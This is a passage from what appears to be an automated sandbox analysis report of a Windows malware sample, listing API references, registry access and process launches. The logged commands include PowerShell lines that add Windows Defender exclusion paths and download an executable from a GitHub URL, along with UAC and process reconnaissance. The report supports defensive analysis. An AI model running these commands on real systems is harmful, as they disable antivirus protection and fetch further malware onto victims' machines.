"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")33:T6bf,Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "EnumWindowStationsW" (Indicator: "EnumWindowStations"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "EnumDesktopsW" (Indicator: "EnumDesktops"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")34:T4af,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp")35:T765,Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")36:T11ac,"cmd.exe" queries volume information of "C:\" at 00000000-00001308-00000C16-457901061 "cmd.exe" queries volume information of "C:\" at 00000000-00001308-00000C16-458042036 "cmd.exe" queries volume information of "C:\" at 00000000-00002140-00000C16-470315274 "cmd.exe" queries volume information of "C:\" at 00000000-00009132-00000C16-471359413 "cmd.exe" queries volume information of "C:\" at 00000000-00009132-00000C16-471443586 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-485515280 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004460-00000C16-486592194 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004460-00000C16-488181027 "powershell.exe" queries volume information of "C:\" at 00000000-00004460-00000C16-489042989 "powershell.exe" queries volume information of "C:\share" at 00000000-00004460-00000C16-489044946 "powershell.exe" queries volume information of "C:\share" at 00000000-00004460-00000C16-490157032 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-493579376 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-493664214 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-494497659 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-494855288 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-494966120 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-495152354 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-495228270 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-495342550 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004460-00000C16-495450051 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007072-00000C16-492205571 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007072-00000C16-493743568 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007072-00000C16-494749288 "powershell.exe" queries volume information of "C:\" at 00000000-00007072-00000C16-495893670 "powershell.exe" queries volume information of "C:\share" at 00000000-00007072-00000C16-49589547537:T515,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\02FAF3E291435468607857694DF5E45B68851868"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\039EEDB80BE7A03C6953893B20D2D9323A4C2AFD"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\06F1AA330B927B753A40E68CDF22E34BCBEF3352"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\07E032E020B72C3F192F0628A2593A19A70F069E"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\2796BAE63F1801E277261BA0D77770028F20EEE4"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\323C118E1BF7B8B65254E2E2100DD6029037F096"; Key: "BLOB")38:Ta2e,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\F2a97.exe" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\3Y00Z.exe" - (UID: 00000000-00000860) "F2a97.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\1H12M2.exe" - (UID: 00000000-00007396) "F2a97.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\2O4405.exe" - (UID: 00000000-00007396) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\cmd.exe" /c "%TEMP%\34.bat" any_word" - (UID: 00000000-00002140) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "Mode 79,49" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c ver" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "find /i "0x0"" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c tasklist" - (UID: 00000000-00009132) "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\%OSUSER%\AppData\Local\ishgdrqmyt' 'C:\Users' '%ALLUSERSPROFILE%\"" - (UID: 00000000-00009088), "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\%OSUSER%\AppData\Local\ndyvmw', 'C:\Users', '%ALLUSERSPROFILE%\"" - (UID: 00000000-00005404) "cmd.exe" called "CreateProcessW" with parameter "tasklist" - (UID: 00000000-00004728) "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile 'C:\U" - (UID: 00000000-00007800), "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile 'C:\U" - (UID: 00000000-00007264)39:Td3ef,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000860) "F2a97.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007396) "F2a97.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007396) "F2a97.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007396) "F2a97.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007396) "F2a97.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007396) "F2a97.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007396) "F2a97.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007396) "1H12M2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter %TEMP%\IXP001.TMP\1H12M2.ENU (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter %TEMP%\IXP001.TMP\1H12M2.EN (UID: 00000000-00001224) "1H12M2.exe" called "LoadLibrary" with a parameter " (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "PRINT NS_ElevateCreateProcess::APIHook_CreateProcessA 318 [ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "2168640568 692 3140 CreateProcessA kernel32.dll "00:23:56.546" RX=0 PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp"), Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004572.00000000.95398.D12C0000.00000004.mdmp"), Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.003E0000.00000004.mdmp 00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp"), Found reference to API "PRINT NS_ElevateCreateProcess::APIHook_CreateProcessA 318 [ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")3b:T6ad,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "RegConnectRegistryW" (Indicator: "RegConnectRegistry"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")3c:T4d7,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")3d:T14229,Found reference to API (Indicator: "RegQueryValueExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EqualSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegCloseKey"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FreeSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LocalFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CompareStringA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateFileA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DeleteFileA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TerminateThread"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Sleep"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GlobalFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ExitProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LocalAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TerminateProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindClose"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindNextFileA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ReadFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetVersionExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindFirstFileA"; File: 